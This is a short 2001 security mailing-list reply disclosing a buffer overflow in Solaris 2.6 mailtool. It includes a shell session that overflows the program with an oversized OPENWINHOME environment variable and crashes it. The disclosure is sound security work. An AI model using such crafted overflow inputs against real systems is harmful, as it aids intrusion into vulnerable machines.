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RE: [synnergy] - Solaris mailtool(1) buffer overflow vulnerability


From: SChoe <schoe () CheapTickets COM>
Date: Tue, 29 May 2001 13:03:49 -1000 (HST)

dethy () synnergy net wrote:
[possibly others]

/usr/openwin/bin/mailtool for solaris 2.6 / SPARC is
also vulnerable to buffer overflow.

<------------------------snip-------------------------->
bash-2.04$ uname -a
SunOS <hostname> 5.6 Generic_105181-23 sun4u sparc
bash-2.04$ export OPENWINHOME=`perl -e 'print "A"x1010'`
bash-2.04$ /usr/local/bin/mailtool
Segmentation Fault
bash-2.04$
<------------------------snap-------------------------->


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